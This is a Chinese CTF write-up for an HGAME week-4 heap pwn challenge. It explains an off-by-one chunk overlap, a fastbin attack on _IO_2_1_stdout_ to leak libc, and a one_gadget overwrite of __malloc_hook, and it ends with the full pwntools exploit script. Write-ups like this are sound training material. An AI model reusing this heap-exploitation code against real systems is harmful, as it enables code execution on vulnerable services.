Hgameweek4-dbgbgtf的wp

Pwn就一题hhh。不过也折腾了挺久的

上来一看首先IDA就能看出和常规的堆题不太一样，然后我还花了点时间学了一下IDA创建结构体。后面边调边做大概理解了程序创建堆的逻辑。

主要难点在没有show功能就不好拿libc。后来就网上抄作业知道了打_IO_2_1_stdout_可以做到泄露。

然后就offbyone制造堆块重叠，fastbinattack打到bss段的_IO_2_1_stdout_的指针，并且部分覆写，我记得原来后三位是620，要改成5dd才能有满足size条件的7f。所以这里得用到1/16爆破。

话说Norton师傅好像很喜欢爆破，week1的1/16爆破也是他出的。

覆写成功后，将覆写完成的指针伪造成fastbin的fd指针，从而申请到了_IO_2_1_stdout_，可以进行覆写了。

我就把write_base_ptr最后一字节改成\x00，前面的就随便填充了。

拿到libc之后one_gadget打__malloc_hook，本地发现条件都不满足。当时内心是崩溃的，因为如果放弃__malloc_hook去打__free_hook，前面没有合适的size供绕过fastbin的检查。当时太累了，懒得折腾unsortedbinattack，直接私聊出题人，发现这题就是用one_gadget打__malloc_hook，只不过刚好我本地条件不满足。

遂打远程，通。

```
def add_page():
        io.sendlineafter(b'>',b'1')
def delete_page(pageindex):
        io.sendlineafter(b'>',b'2')
```

```
    io.sendlineafter(b'?\n>',str(pageindex))
def add_note(pageindex,size,content):
    io.sendlineafter(b'>',b'3')
    io.sendlineafter(b'?\n>',str(pageindex))
    io.sendlineafter(b':\n>',str(size))
    io.sendafter(b':\n>',content)
def delete_note(pageindex,noteindex):
    io.sendlineafter(b'>',b'4')
    io.sendlineafter(b'?\n>',str(pageindex))
    io.sendlineafter(b'?\n>',str(noteindex))

bss = 0x601ff5
bss2 = 0x602010
puts = 0x400F7F
main = 0x400EB9

add_page()

add_note(0x1,0x78,b'note1')
add_note(0x1,0x68,b'note2')
delete_note(0x1,0x1)
delete_note(0x1,0x2)

payload1 = cyclic(0x78) + b'\x41'
add_note(0x1,0x78,payload1)

payload2 = p64(0x0) + p64(0x61)
add_note(0x1,0x68,payload2)

delete_note(0x1,0x1)
delete_note(0x1,0x2)

payload3 = cyclic(0x28) + p64(0x71) + p64(bss)
add_note(0x1,0x38,payload3)
delete_note(0x1,0x1)
pause()
add_note(0x1,0x68,b'note2')
payload4 = p64(0x0)*0x2 + p64(0x7f000000) + b'\x00\x00\x00\xdd'#\x45'
add_note(0x1,0x68,payload4)

delete_note(0x1,0x1)
payload3 = cyclic(0x28) + p64(0x71) + p64(bss2)
add_note(0x1,0x38,payload3)
add_note(0x1,0x68,b'aaaa')
add_note(0x1,0x68,b'\x20')#\x46')
payload5 = b'ccc' + p64(0x0)*0x6 + p64(0xFBAD1800)
payload5+= p64(0x0)*0x3 + b'\x00'
add_note(0x1,0x68,payload5)

recv = p64(0xFBAD1800) + p64(0x0)*3
io.recvuntil(recv)
libc_base = u64(io.recv(0x6).ljust(0x8,b'\x00')) - 0x3C4600
print(hex(libc_base))
system = libc_base + 0x45380
__malloc_hook = libc_base + 0x3C3B10
__free_hook = libc_base + 0x3C57A8
ogg1 = libc_base + 0x4525a
ogg2 = libc_base + 0xef9f4
ogg3 = libc_base + 0xf0897
main_arena88 = libc_base + 0x3C3B78

delete_note(0x1,0x4)
delete_note(0x1,0x3)
payload3 = cyclic(0x28) + p64(0x71) + p64(__malloc_hook - 0x23)
add_note(0x1,0x38,payload3)
add_note(0x1,0x68,b'aaaa')
payload6 = cyclic(0x13) + p64(ogg3)
add_note(0x1,0x68,payload6)

io.interactive()
```